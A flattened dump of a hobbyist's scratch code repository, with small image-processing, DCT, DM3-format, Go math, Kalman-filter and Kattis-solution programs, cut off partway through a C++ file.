-------------------------------------------------------------------------------- /cv/graymap_pgm.c: -------------------------------------------------------------------------------- 1 | #include "graymap_pgm.h" 2 | 3 | #include "alloc_graymap.h" 4 | #include "graymap.h" 5 | 6 | #include 7 | 8 | // This doesn't ignore comments, and is less flexible with respect to 9 | // whitespace than the pgm spec allows. 10 | const char kPgmHeader[] = "P5\n%d %d\n%d\n"; 11 | 12 | graymap_t* alloc_graymap_from_pgm(const char* filename) { 13 | FILE* f = fopen(filename, "rb"); 14 | if (!f) return NULL; 15 | 16 | int w, h, d; 17 | fscanf(f, kPgmHeader, &w, &h, &d); 18 | if (d != 255) return NULL; 19 | 20 | graymap_t* graymap = alloc_graymap(w, h); 21 | int read = fread(graymap->data, 1, w*h, f); 22 | fclose(f); 23 | 24 | if (read != w*h) { 25 | free_graymap(graymap); 26 | return NULL; 27 | } 28 | return graymap; 29 | } 30 | 31 | bool save_graymap_to_pgm(const char* filename, const graymap_t* graymap) { 32 | FILE* f = fopen(filename, "wb"); 33 | if (!f) return false; 34 | 35 | fprintf(f, kPgmHeader, graymap->w, graymap->h, 255); 36 | fwrite(graymap->data, 1, graymap->w*graymap->h, f); 37 | 38 | fclose(f); 39 | return true; 40 | } 41 | -------------------------------------------------------------------------------- /cv/graymap_pgm.h: -------------------------------------------------------------------------------- 1 | #ifndef GRAYMAP_PGM_H_ 2 | #define GRAYMAP_PGM_H_ 3 | 4 | #include 5 | 6 | typedef struct graymap_t_ graymap_t; 7 | 8 | graymap_t* alloc_graymap_from_pgm(const char* filename); 9 | bool save_graymap_to_pgm(const char* filename, const graymap_t*); 10 | 11 | #endif // GRAYMAP_PGM_H_ 12 | -------------------------------------------------------------------------------- /cv/linear.h: -------------------------------------------------------------------------------- 1 | #ifndef LINEAR_H_ 2 | #define LINEAR_H_ 3 | 4 | #include 5 | 6 | // Computes m so that m * x[i] = b[i] for every 2d point in x[i], b[i]. 7 | // m is row-major: m[row][col]. 8 | bool compute_projection_matrix(float m[3][3], float x[4][2], float b[4][2]); 9 | 10 | #endif // LINEAR_H_ 11 | -------------------------------------------------------------------------------- /cv/threshold.c: -------------------------------------------------------------------------------- 1 | #include "threshold.h" 2 | 3 | #include "graymap.h" 4 | 5 | int average_pixel(graymap_t* graymap) { 6 | uint64_t avg = 0; 7 | int n = graymap->w * graymap->h; 8 | for (int i = 0; i < n; ++i) 9 | avg += graymap->data[i]; 10 | return (int)((avg + n/2) / n); 11 | } 12 | 13 | void threshold_on_constant(graymap_t* graymap, int c) { 14 | int n = graymap->w * graymap->h; 15 | for (int i = 0; i < n; ++i) 16 | if (graymap->data[i] < c) graymap->data[i] = 0; 17 | else graymap->data[i] = 255; 18 | } 19 | 20 | void threshold_on_local_average(graymap_t* graymap, graymap_t* thres) { 21 | int n = graymap->w * graymap->h; 22 | for (int i = 0; i < n; ++i) 23 | if (graymap->data[i] < thres->data[i]) graymap->data[i] = 0; 24 | else graymap->data[i] = 255; 25 | } 26 | 27 | void scale(graymap_t* graymap, int num, int denom) { 28 | int n = graymap->w * graymap->h; 29 | for (int i = 0; i < n; ++i) 30 | graymap->data[i] = graymap->data[i] * num / denom; 31 | } 32 | -------------------------------------------------------------------------------- /cv/threshold.h: -------------------------------------------------------------------------------- 1 | #ifndef THRESHOLD_H_ 2 | #define THRESHOLD_H_ 3 | 4 | typedef struct graymap_t_ graymap_t; 5 | 6 | int average_pixel(graymap_t*); 7 | void threshold_on_constant(graymap_t*, int c); 8 | void threshold_on_local_average(graymap_t*, graymap_t* thres); 9 | 10 | void scale(graymap_t*, int num, int denom); 11 | 12 | #endif // THRESHOLD_H_ 13 | 14 | -------------------------------------------------------------------------------- /cv/train_mac.m: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | const int kSize = 16; 4 | 5 | void save(NSBitmapImageRep* bitmapRep, NSString* name) { 6 | [[bitmapRep representationUsingType:NSPNGFileType properties:nil] 7 | writeToFile:name atomically:YES]; 8 | } 9 | 10 | NSBitmapImageRep* chr(int num) { 11 | NSBitmapImageRep* rep = [[[NSBitmapImageRep alloc] 12 | initWithBitmapDataPlanes:NULL 13 | pixelsWide:kSize 14 | pixelsHigh:kSize 15 | bitsPerSample:8 16 | samplesPerPixel:4 17 | hasAlpha:YES 18 | isPlanar:NO 19 | colorSpaceName:NSDeviceRGBColorSpace 20 | bitmapFormat:0 21 | bytesPerRow:0 22 | bitsPerPixel:0] autorelease]; 23 | 24 | [NSGraphicsContext saveGraphicsState]; 25 | NSGraphicsContext* context = [NSGraphicsContext 26 | graphicsContextWithBitmapImageRep:rep]; 27 | [context setShouldAntialias:YES]; 28 | [context setImageInterpolation:NSImageInterpolationHigh]; 29 | [NSGraphicsContext setCurrentContext:context]; 30 | 31 | [[NSColor whiteColor] set]; 32 | NSRect imgrect = NSMakeRect(0, 0, [rep size].width, [rep size].height); 33 | NSRectFill(imgrect); 34 | 35 | NSMutableParagraphStyle* style = 36 | [[[NSMutableParagraphStyle alloc] init] autorelease]; 37 | [style setAlignment:NSCenterTextAlignment]; 38 | NSFont* font = [NSFont fontWithName:@"Helvetica" size:kSize]; 39 | NSDictionary* attributes = @{ 40 | NSFontAttributeName: font, 41 | NSParagraphStyleAttributeName: style, 42 | }; 43 | NSRect txrect = imgrect; 44 | txrect.origin.y = (NSHeight(imgrect) - [font capHeight]) / 2; 45 | [[NSString stringWithFormat:@"%d", num] 46 | drawInRect:txrect withAttributes:attributes]; 47 | 48 | [NSGraphicsContext restoreGraphicsState]; 49 | return rep; 50 | } 51 | 52 | int main() { 53 | @autoreleasepool { 54 | NSApplicationLoad(); 55 | save(chr(4), @"test.png"); 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /darkmode.css: -------------------------------------------------------------------------------- 1 | /* @media(prefers-color-scheme:dark) is in already, don't need it here */ 2 | body{color:#E8EAED;background:#202124;} 3 | a{color:#8AB4F8;} 4 | a:active{color:#EF5350;} 5 | a:visited{color:#B388FF;} 6 | -------------------------------------------------------------------------------- /dct.cc: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | // itu-t81.pdf 6 | // A.3.3 FDCT and IDCT (informative) 7 | double dct(double* d, int u, int v) { 8 | double sum = 0; 9 | for (int y = 0; y < 8; ++y) { 10 | for (int x = 0; x < 8; ++x) { 11 | double cx = cos((2 * x + 1) * u * M_PI / 16); 12 | double cy = cos((2 * y + 1) * v * M_PI / 16); 13 | sum += d[y * 8 + x] * cx * cy; 14 | } 15 | } 16 | double cu = u == 0 ? M_SQRT1_2 : 1; 17 | double cv = v == 0 ? M_SQRT1_2 : 1; 18 | return cu * cv * sum / 4; 19 | } 20 | 21 | void dct_8x8(double* d) { 22 | double tmp[64]; 23 | for (int v = 0; v < 8; ++v) 24 | for (int u = 0; u < 8; ++u) 25 | tmp[v * 8 + u] = dct(d, u, v); 26 | memcpy(d, tmp, sizeof(tmp)); 27 | } 28 | 29 | double idct(double* d, int x, int y) { 30 | double sum = 0; 31 | for (int v = 0; v < 8; ++v) { 32 | for (int u = 0; u < 8; ++u) { 33 | double cu = u == 0 ? M_SQRT1_2 : 1; 34 | double cv = v == 0 ? M_SQRT1_2 : 1; 35 | double cx = cos((2 * x + 1) * u * M_PI / 16); 36 | double cy = cos((2 * y + 1) * v * M_PI / 16); 37 | sum += d[v * 8 + u] * cu * cv * cx * cy; 38 | } 39 | } 40 | return sum / 4; 41 | } 42 | 43 | void idct_8x8(double* d) { 44 | double tmp[64]; 45 | for (int y = 0; y < 8; ++y) 46 | for (int x = 0; x < 8; ++x) 47 | tmp[y * 8 + x] = idct(d, x, y); 48 | memcpy(d, tmp, sizeof(tmp)); 49 | } 50 | 51 | void print(double* d) { 52 | for (int y = 0; y < 8; ++y) { 53 | for (int x = 0; x < 8; ++x) 54 | printf("%8.2f ", d[y * 8 + x]); 55 | printf("\n"); 56 | } 57 | printf("\n"); 58 | } 59 | 60 | int main() { 61 | double d[64]; 62 | for (int i = 0; i < 64; ++i) 63 | d[i] = 255; 64 | 65 | printf("input:\n"); 66 | print(d); 67 | 68 | for (int i = 0; i < 64; ++i) 69 | d[i] -= 128; 70 | dct_8x8(d); 71 | 72 | printf("after level shift and dft:\n"); 73 | print(d); 74 | 75 | idct_8x8(d); 76 | for (int i = 0; i < 64; ++i) 77 | d[i] += 128; 78 | 79 | printf("after idft and level unshift:\n"); 80 | print(d); 81 | } 82 | -------------------------------------------------------------------------------- /demumble/README.md: -------------------------------------------------------------------------------- 1 | Moved to https://github.com/nico/demumble 2 | -------------------------------------------------------------------------------- /demumble/demumble_test.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | 3 | tests = [ 4 | ('demumble hello', 'hello\n'), 5 | ('demumble _Z4funcPci _Z1fv', 'func(char*, int)\nf()\n'), 6 | ('demumble < _Z4funcPci _Z1fv', 'func(char*, int)\nf()\n'), 7 | ('demumble ?Fx_i@@YAHP6AHH@Z@Z', 'int __cdecl Fx_i(int (__cdecl*)(int))\n'), 8 | ('demumble __Znwi', 'operator new(int)\n'), # Strip extra _ (for OS X) 9 | ('demumble < __Znwi', 'operator new(int)\n'), # Also from stdin 10 | ('demumble -m hi _Z1fv ho _Z1gv', 'hi\nf()\nho\ng()\n'), 11 | ('demumble -m < hi_ho _Z1fv ho _Z1gv ?hm', 'f()\ng()\n?hm\n'), 12 | ('demumble -m < _Z1fv!_Z1gv', 'f()\ng()\n'), 13 | ('demumble -m < _Z1fv!foo_bar', 'f()\n'), 14 | ('demumble Pi', 'int*\n'), 15 | ('demumble < Pi', 'Pi\n'), 16 | ('demumble < ___Z10blocksNRVOv_block_invoke', 17 | 'invocation function for block in blocksNRVO()\n'), 18 | ('demumble < .____Z10blocksNRVOv_block_invoke', 19 | '.invocation function for block in blocksNRVO()\n'), 20 | ('demumble -m < .____Z10blocksNRVOv_block_invoke', 21 | 'invocation function for block in blocksNRVO()\n'), 22 | ] 23 | 24 | import os, subprocess, sys 25 | status = 0 26 | for t in tests: 27 | cmd = t[0].split() 28 | # Assume that demumble is next to this script. 29 | cmd[0] = os.path.join(os.path.dirname(__file__) or '.', cmd[0]) 30 | if '<' in cmd: 31 | p = subprocess.Popen(cmd[:cmd.index('<')], stdin=subprocess.PIPE, 32 | stdout=subprocess.PIPE, stderr=subprocess.STDOUT) 33 | out = p.communicate(input='\n'.join(cmd[cmd.index('<') + 1:]) + '\n')[0] 34 | else: 35 | out = subprocess.check_output(cmd) 36 | if out != t[1]: 37 | print("`%s`: Expected '%s', got '%s'" % (t[0], t[1], out)) 38 | status = 1 39 | print("passed" if status == 0 else "failed") 40 | sys.exit(status) 41 | -------------------------------------------------------------------------------- /depfiles.txt: -------------------------------------------------------------------------------- 1 | # depfiles file format 2 | 3 | depfiles are useful for dynamic build deps 4 | 5 | good to use an existing format, has the advantage of Just Working with make, 6 | the most common build system 7 | 8 | documents a lowest common feature set that tools reading dep files should have 9 | 10 | gcc's -MMD output matches this (except for bugs in some gccs) 11 | 12 | should cover: 13 | * \ and $ escaping 14 | * spaces in filenames 15 | * slashes vs backslashes in paths 16 | * file case in paths (use native case) 17 | * some gccs might list .o file twice 18 | * multi-output files should at least error in a sane way? 19 | * no tabs for continuation lines (else make thinks it's a command) (?) 20 | 21 | omitted but interesting for v2: 22 | * require multiple output lines to be separated by completely empty lines? 23 | * multiple outputs per depfile (needed for ocaml i think) 24 | -------------------------------------------------------------------------------- /dm3tool/Makefile: -------------------------------------------------------------------------------- 1 | ifneq (,$(filter $(origin CC), undefined default)) 2 | CC = clang 3 | endif 4 | 5 | dm3_api.o: dm3_api.c dm3_api.h dm3.h 6 | main.o: main.c dm3_api.h dm3.h 7 | 8 | dm3tool: main.o dm3_api.o 9 | clang -o $@ $^ 10 | -------------------------------------------------------------------------------- /dm3tool/README.txt: -------------------------------------------------------------------------------- 1 | dm3tool 2 | ======= 3 | 4 | A (very incomplete) tool to read the 5 | [dm3 image format](http://rsbweb.nih.gov/ij/plugins/DM3Format.gj.html). 6 | 7 | 8 | $ ./dm3tool -h 9 | usage: dm3tool [options] inputfile.dm3 10 | 11 | options: 12 | -d dump file tree to stdout 13 | -v verbose output 14 | 15 | 16 | Image data seems to be in 17 | 18 | [ 19 | 'ImageList': [ 20 | { 21 | 'ImageData': { 22 | 'Data': [] 23 | 'DataType': number, 24 | 'Dimensions': [w, h], 25 | 'PixelDepth': number, 26 | } 27 | } 28 | 'Name': array of ushort (utf16 data) 29 | ] 30 | ] 31 | -------------------------------------------------------------------------------- /dm3tool/dm3.h: -------------------------------------------------------------------------------- 1 | #ifndef DM3_H_ 2 | #define DM3_H_ 3 | 4 | #include 5 | 6 | #pragma pack(push, 1) // This is not portable. 7 | 8 | #define DM3_DEF_SHORT 2 9 | #define DM3_DEF_LONG 3 10 | #define DM3_DEF_USHORT 4 11 | #define DM3_DEF_ULONG 5 12 | #define DM3_DEF_FLOAT 6 13 | #define DM3_DEF_DOUBLE 7 14 | #define DM3_DEF_BOOL 8 15 | #define DM3_DEF_CHAR 9 // single 8bit char 16 | #define DM3_DEF_OCTET 10 17 | #define DM3_DEF_STRUCT 15 18 | #define DM3_DEF_STRING 18 // utf16 data 19 | #define DM3_DEF_ARRAY 20 20 | 21 | // DM3_DEF_STRUCT is followed by: 22 | // struct_name_len 23 | // num_fields 24 | // (field_name_len, field_type) x num_fields 25 | // 26 | // DM3_DEF_STRING is followed by: 27 | // string_length 28 | // 29 | // DM3_DEF_ARRAY is followed by: 30 | // array_type 31 | // array_length 32 | 33 | struct DM3TagData { 34 | uint8_t tag[4]; // Always '%%%%'. 35 | uint32_t definition_length; 36 | uint32_t definition[]; 37 | // Followed by the actual data. 38 | }; 39 | 40 | #define DM3_TAG_ENTRY_TYPE_TAG_GROUP 20 41 | #define DM3_TAG_ENTRY_TYPE_DATA 21 42 | 43 | struct DM3TagEntry { 44 | uint8_t type; 45 | uint16_t label_length; 46 | uint8_t label[]; 47 | // Followed by a DM3TagGroup if |type == DM3_TAG_ENTRY_TYPE_TAG_GROUP| 48 | // or a DM3TagData if |type == DM3_TAG_ENTRY_TYPE_DATA|. 49 | }; 50 | 51 | struct DM3TagGroup { 52 | uint8_t is_sorted; 53 | uint8_t is_open; 54 | uint32_t num_tags; 55 | struct DM3TagEntry tags[]; 56 | }; 57 | 58 | struct DM3Image { 59 | uint32_t version; 60 | uint32_t length; 61 | uint32_t is_little_endian; // This really means something else. 62 | struct DM3TagGroup tag_group; 63 | }; 64 | 65 | #pragma pack(pop) 66 | 67 | #endif // DM3_H_ 68 | -------------------------------------------------------------------------------- /dm3tool/dm3_api.h: -------------------------------------------------------------------------------- 1 | #ifndef DM3_API_H_ 2 | #define DM3_API_H_ 3 | 4 | #include 5 | #include 6 | 7 | // Implementation details, hence only forward-declared. 8 | typedef struct DM3File DM3File; 9 | typedef struct DM3List DM3List; 10 | typedef struct DM3Data DM3Data; 11 | 12 | 13 | 14 | 15 | struct DM3File* dm3_open(const char* filename); 16 | void dm3_close(DM3File* dm3); 17 | 18 | int dm3_is_little_endian(DM3File* dm3); 19 | 20 | 21 | struct DM3List* dm3_file_get_list(DM3File* dm3); 22 | 23 | size_t dm3_list_num_children(DM3List* list); 24 | int dm3_list_child_type(size_t index); 25 | const char* dm3_list_get_label(size_t index); 26 | 27 | struct DM3List* dm3_list_get_list(DM3List* list, size_t index); 28 | struct DM3List* dm3_list_find_list(DM3List* list, const char* label); 29 | 30 | struct DM3Data* dm3_list_get_data(DM3List* list, size_t index); 31 | struct DM3Data* dm3_list_find_data(DM3List* list, const char* label); 32 | 33 | uint32_t* dm3_data_get_definition(DM3Data* data); 34 | int dm3_data_get_definition_length(DM3Data* data); 35 | const void* dm3_data_get_data(DM3Data* data); 36 | 37 | #endif // DM3_API_H_ 38 | -------------------------------------------------------------------------------- /dm3tool/pieces.txt: -------------------------------------------------------------------------------- 1 | punt for now 2 | ------------ 3 | 4 | i/o api 5 | read_int32() etc 6 | does endianness conversion by default 7 | issue: can't do it for unknown blocks 8 | 9 | sax api 10 | on_tag() etc 11 | 12 | 13 | do 14 | -- 15 | 16 | dom api 17 | tree 18 | 19 | query api for tree 20 | resolve_path() etc 21 | 22 | some api for nested structs etc 23 | 24 | some api for image data conversion 25 | 26 | some error handling piece 27 | -------------------------------------------------------------------------------- /dump_backtrace.c: -------------------------------------------------------------------------------- 1 | // clang dump_backtrace.c && ./a.out # prints a trace 2 | 3 | #include 4 | static void DumpBacktrace(int skip_frames) { 5 | void* stack[256]; 6 | int size = backtrace(stack, 256); 7 | ++skip_frames; // Skip ourselves as well. 8 | backtrace_symbols_fd(stack + skip_frames, size - skip_frames, 2); 9 | } 10 | 11 | void demo(int n) { return n == 0 ? DumpBacktrace(0) : demo(n - 1); } 12 | int main() { demo(4); } 13 | -------------------------------------------------------------------------------- /encryption_nocopy.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/encryption_nocopy.pdf -------------------------------------------------------------------------------- /envbench/build.ninja: -------------------------------------------------------------------------------- 1 | rule cc 2 | command = clang -O2 -fcolor-diagnostics -c $in -o $out 3 | 4 | rule ld 5 | command = clang $in -o $out 6 | 7 | build hashlink.o: cc hashlink.c 8 | build hashlink: ld hashlink.o 9 | -------------------------------------------------------------------------------- /envbench/test00.bench: -------------------------------------------------------------------------------- 1 | set foo 678ijhhhhhhh 2 | { 3 | set foo 5asdf 4 | set bar $foo 5 | 6 | { 7 | set foo 8dfad 8 | get foo 9 | } 10 | 11 | get foo 12 | } 13 | get foo 14 | get bar 15 | -------------------------------------------------------------------------------- /go/distfield/Makefile: -------------------------------------------------------------------------------- 1 | distfield: distfield.6 2 | go tool 6l -o $@ $^ 3 | clean: 4 | rm -rf *.6 5 | 6 | distfield.6: distfield.go math32.6 vec.6 noise.6 7 | go tool 6g distfield.go 8 | 9 | math32.6: math32.go math32_test.go 10 | go tool 6g $^ 11 | 12 | vec.6: vec.go 13 | go tool 6g $^ 14 | 15 | noise.6: noise.go vec.6 16 | go tool 6g noise.go 17 | 18 | # All that follows is required for gotest 19 | testpackage-clean: 20 | rm -rf _test 21 | 22 | testpackage: _test/math32.a 23 | 24 | _test/math32.a: math32.6 25 | mkdir _test 26 | gopack grc $@ math32.6 27 | 28 | importpath: 29 | echo math32 30 | 31 | # Ideally, I'd use http://golang.org/doc/code.html#New_package , but that 32 | # requires creating a ton of directories or renaming all my packages afaiu. 33 | -------------------------------------------------------------------------------- /go/distfield/math32.go: -------------------------------------------------------------------------------- 1 | package math32 2 | 3 | import "math" 4 | 5 | func Minf(a, b float32) float32 { 6 | if a < b { 7 | return a 8 | } 9 | return b 10 | } 11 | 12 | func Maxf(a, b float32) float32 { 13 | if a > b { 14 | return a 15 | } 16 | return b 17 | } 18 | 19 | func Fabsf(a float32) float32 { return float32(math.Abs(float64(a))) } 20 | 21 | func Cosf(a float32) float32 { return float32(math.Cos(float64(a))) } 22 | 23 | func Sinf(a float32) float32 { return float32(math.Sin(float64(a))) } 24 | 25 | func Sincosf(a float32) (float32, float32) { 26 | s64, c64 := math.Sincos(float64(a)) 27 | return float32(s64), float32(c64) 28 | } 29 | 30 | func Sqrtf(a float32) float32 { return float32(math.Sqrt(float64(a))) } 31 | 32 | func Modff(a float32) (float32, float32) { 33 | i64, f64 := math.Modf(float64(a)) 34 | return float32(i64), float32(f64) 35 | } 36 | 37 | func Modf(x, y float32) float32 { return float32(math.Mod(float64(x), float64(y))) } 38 | 39 | func Expf(x float32) float32 { return float32(math.Exp(float64(x))) } 40 | -------------------------------------------------------------------------------- /go/distfield/math32_test.go: -------------------------------------------------------------------------------- 1 | package math32 2 | 3 | // Strawman tests for math32, to give me an opportunity to write a gotest. 4 | 5 | import "testing" 6 | 7 | var innumbers = [][2]float32{ 8 | [2]float32{5.2, 3.5}, 9 | [2]float32{-1.9, -10.4}, 10 | } 11 | var outnumbers = []float32{ 12 | 3.5, 13 | -10.4, 14 | } 15 | 16 | func TestMinf(t *testing.T) { 17 | for i := 0; i < len(innumbers); i++ { 18 | a, b := innumbers[i][0], innumbers[i][1] 19 | if m := Minf(a, b); m != outnumbers[i] { 20 | t.Errorf("Minf(%g, %g) = %g, want %g\n", a, b, m, outnumbers[i]) 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /go/distfield/vec.go: -------------------------------------------------------------------------------- 1 | package vec 2 | 3 | import "./math32" 4 | 5 | type Vec3 struct { 6 | X, Y, Z float32 7 | } 8 | 9 | func (p Vec3) Length() float32 { return math32.Sqrtf(p.X*p.X + p.Y*p.Y + p.Z*p.Z) } 10 | 11 | func (p Vec3) Normalized() Vec3 { 12 | len := p.Length() 13 | return Vec3{p.X / len, p.Y / len, p.Z / len} 14 | } 15 | 16 | func (p *Vec3) Add(dir Vec3, amnt float32) Vec3 { 17 | return Vec3{p.X + dir.X*amnt, p.Y + dir.Y*amnt, p.Z + dir.Z*amnt} 18 | } 19 | 20 | func (p Vec3) Trans(X, Y, Z float32) Vec3 { return Vec3{p.X + X, p.Y + Y, p.Z + Z} } 21 | 22 | func (p Vec3) Vtrans(d Vec3) Vec3 { return Vec3{p.X + d.X, p.Y + d.Y, p.Z + d.Z} } 23 | 24 | func (p Vec3) Scale(s float32) Vec3 { return Vec3{s * p.X, s * p.Y, s * p.Z} } 25 | 26 | func (p Vec3) Rotx(amnt float32) Vec3 { 27 | s, c := math32.Sincosf(amnt) 28 | return Vec3{p.X, 29 | -p.Z*s + p.Y*c, 30 | -p.Z*c - p.Y*s} 31 | } 32 | 33 | func (p Vec3) Roty(amnt float32) Vec3 { 34 | s, c := math32.Sincosf(amnt) 35 | return Vec3{p.X*c + p.Z*s, 36 | p.Y, 37 | p.X*s - p.Z*c} 38 | } 39 | 40 | func (p Vec3) Rotz(amnt float32) Vec3 { 41 | s, c := math32.Sincosf(amnt) 42 | return Vec3{p.X*c - p.Y*s, 43 | p.X*s + p.Y*c, 44 | p.Z} 45 | } 46 | 47 | func (p Vec3) Dot(b Vec3) float32 { return p.X*b.X + p.Y*b.Y + p.Z*b.Z } 48 | -------------------------------------------------------------------------------- /go/equals.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "fmt" 4 | 5 | type Int int 6 | type String string 7 | 8 | type Comparable interface { 9 | Equals(b interface{}) bool 10 | } 11 | 12 | func (i Int) Equals(b interface{}) bool { 13 | if j, ok := b.(Int); ok { 14 | return i == j 15 | } 16 | return false 17 | } 18 | 19 | func (i String) Equals(b interface{}) bool { 20 | if j, ok := b.(String); ok { 21 | return i == j 22 | } 23 | return false 24 | } 25 | 26 | func AssertEquals(a, b Comparable) { 27 | if !a.Equals(b) { 28 | fmt.Printf("zomg, expected %v got %v\n", a, b) 29 | } 30 | } 31 | 32 | type Foo struct { 33 | a int 34 | } 35 | 36 | var f = Foo{1} 37 | var m = map[Foo] float32 { 38 | f: 5 } 39 | 40 | func main() { 41 | var a, b Int = 3, 4 42 | var c String = "hi" 43 | AssertEquals(a, c) 44 | AssertEquals(b, c) 45 | } 46 | 47 | -------------------------------------------------------------------------------- /go/hello.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "fmt" 4 | 5 | func main() { 6 | fmt.Printf("hello, world\n") 7 | } 8 | -------------------------------------------------------------------------------- /go/mandel.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | /* 4 | go run mandel.go 5 | */ 6 | 7 | import ( 8 | "fmt"; 9 | "image"; 10 | "image/color"; 11 | "image/png"; 12 | "os" 13 | ) 14 | 15 | const ITERATIONS int = 20; 16 | 17 | func lerp(a, min, max float32) float32 { 18 | return min*(1 - a) + max*a 19 | } 20 | 21 | func mandel(img *image.NRGBA) { 22 | for y := 0; y < img.Rect.Dy(); y++ { 23 | for x := 0; x < img.Rect.Dx(); x++ { 24 | zr := lerp(float32(x)/float32(img.Rect.Dx() - 1), -2, 0.5) 25 | zc := lerp(float32(y)/float32(img.Rect.Dy() - 1), -1.2, 1.2) 26 | 27 | zir, zic := float32(0.0), float32(0.0) 28 | c := 0 29 | for c < ITERATIONS && zir*zir + zic*zic < 4 { 30 | zir, zic = zir*zir - zic*zic + zr, 2*zir*zic + zc 31 | c++ 32 | } 33 | 34 | if c < ITERATIONS { 35 | img.Set(x, y, color.NRGBA{ 255, 0, 0, 255 }) 36 | } else { 37 | img.Set(x, y, color.NRGBA{ 255, 255, 0, 255 }) 38 | } 39 | } 40 | } 41 | } 42 | 43 | func main() { 44 | var img *image.NRGBA = image.NewNRGBA(image.Rect(0, 0, 500, 480)) 45 | mandel(img) 46 | 47 | wf, err := os.OpenFile("go_out.png", os.O_CREATE | os.O_WRONLY, 0666) 48 | if err != nil { 49 | fmt.Printf("Failed to create image file; err=%s\n", err) 50 | os.Exit(1) 51 | } 52 | err = png.Encode(wf, img) 53 | if err != nil { 54 | fmt.Printf("encoding image failed; err=%s\n", err) 55 | os.Exit(1) 56 | } 57 | wf.Close() 58 | } 59 | -------------------------------------------------------------------------------- /go/min.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "math" 4 | import "fmt" 5 | 6 | func main() { 7 | var f float32 = 4 8 | var g float32 = 4 9 | var h float32 = float32(math.Min(float64(f), float64(g))) 10 | fmt.Printf("hi %f\n", h) 11 | } 12 | -------------------------------------------------------------------------------- /hello.pdf: -------------------------------------------------------------------------------- 1 | %PDF-1.3 2 | 1 0 obj 3 | << 4 | /Pages 3 0 R 5 | >> 6 | endobj 7 | 3 0 obj 8 | << 9 | /Count 1 10 | /Kids [ 11 | 4 0 R 12 | ] 13 | >> 14 | endobj 15 | 4 0 obj 16 | << 17 | /Type /Page 18 | /Parent 3 0 R 19 | /Resources << 20 | /Font << 21 | /F1 9 0 R 22 | >> 23 | >> 24 | /MediaBox [ 25 | 0 26 | 0 27 | 612 28 | 792 29 | ] 30 | /Contents 5 0 R 31 | >> 32 | endobj 33 | 5 0 obj 34 | << 35 | >> 36 | stream 37 | 0 0 0 rg 38 | BT 39 | /F1 0027 Tf 40 | 57.3750 722.2800 Td 41 | (Hello PDF) Tj 42 | ET 43 | BT 44 | /F1 0010 Tf 45 | 69.2500 688.6080 Td 46 | (PDF is a text format!) Tj 47 | 0 -14 TD 48 | T* (It technically requires a few things that store binary offsets \(xref, startxref, stream /Lengths\),) Tj 49 | T* (but most viewers are happy even if those are missing. So you can just omit them and write) Tj 50 | T* (a PDF file by hand. Or you can run a program tha inserts these elements after the fact.) Tj 51 | T* 52 | T* (At least as long you don't want to embed binary data.) Tj 53 | T* 54 | ET 55 | endstream 56 | endobj 57 | 9 0 obj 58 | << 59 | /Subtype /Type1 60 | /Name /F1 61 | /BaseFont /Helvetica 62 | /Encoding /WinAnsiEncoding 63 | >> 64 | endobj 65 | trailer 66 | << 67 | /Root 1 0 R 68 | >> 69 | %%EOF 70 | -------------------------------------------------------------------------------- /kalman/constant.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # Simple constant state with small measurement noise: 4 | # x_k = x_{k-1} 5 | # z_k = x_k + N(0, r) 6 | # (i.e. F_k = 1, B_k = 0, Q_k = 0, H_k = 1) 7 | 8 | import random 9 | 10 | N = 25 11 | truex = 8 12 | r = 1.0 13 | 14 | trueX = N * [truex] 15 | Z = [x + random.gauss(0, r) for x in trueX] 16 | 17 | x = 0 # Doesn't matter as long as the initial p is large enough. 18 | p = 10000000 19 | 20 | estX = [] 21 | estP = [] 22 | for z in Z: 23 | k = p / (p + r) 24 | 25 | x = x + k * (z - x) 26 | p = (1 - k)*p 27 | 28 | estX.append(x) 29 | estP.append(p) 30 | 31 | avgs = [sum(Z[0:n]) / n for n in range(1, N+1)] 32 | print ['%.2f' % x for x in trueX] 33 | print ['%.2f' % z for z in Z] 34 | print ['%.2f' % x for x in estX] 35 | print ['%.2f' % x for x in avgs] 36 | print ['%.2f' % p for p in estP] 37 | 38 | import pylab 39 | pylab.plot(trueX, label='truth') 40 | pylab.plot(Z, label='measurements') 41 | pylab.plot(estX, label='kalman estimate') 42 | pylab.plot(avgs, label='avg estimate') 43 | pylab.plot(estP, label='kalman error') 44 | pylab.legend(loc=4) 45 | pylab.show() 46 | -------------------------------------------------------------------------------- /kattis/allaboutthatbase.py: -------------------------------------------------------------------------------- 1 | from operator import add, mul, truediv, sub 2 | n = int(raw_input()) 3 | for i in xrange(n): 4 | a, op, b, eq, c = raw_input().split() 5 | bases = [] 6 | for base in xrange(1, 37): 7 | try: 8 | if base == 1: 9 | if (a.count('1') != len(a) or 10 | b.count('1') != len(b) or 11 | c.count('1') != len(c)): 12 | continue 13 | na = len(a); nb = len(b); nc = len(c) 14 | else: 15 | na = int(a, base); nb = int(b, base); nc = int(c, base) 16 | except: continue 17 | if { '+': add, '*': mul, '/': truediv, '-': sub}[op](na, nb) == nc: 18 | if base <= 9: bases.append(str(base)) 19 | elif base <= 35: bases.append(chr(ord('a') + base - 10)) 20 | else: bases.append('0') 21 | if bases: print ''.join(bases) 22 | else: print 'invalid' 23 | -------------------------------------------------------------------------------- /kattis/classy.py: -------------------------------------------------------------------------------- 1 | t = int(raw_input()) 2 | for _ in xrange(t): 3 | n = int(raw_input()) 4 | p = [] 5 | for _ in xrange(n): 6 | name, rest = raw_input().split(': ') 7 | r = { 'upper': '0', 'middle': '1', 'lower': '2' } 8 | key = ''.join(reversed([r[s] for s in rest.split(' ')[0].split('-')])) 9 | key = key.ljust(10, '1') 10 | p.append((key, name)) 11 | for _, name in sorted(p): 12 | print name 13 | print '=' * 30 14 | -------------------------------------------------------------------------------- /kattis/primepath.cc: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int main() { 8 | const int N = 10000; 9 | bool is_prime[N]; 10 | 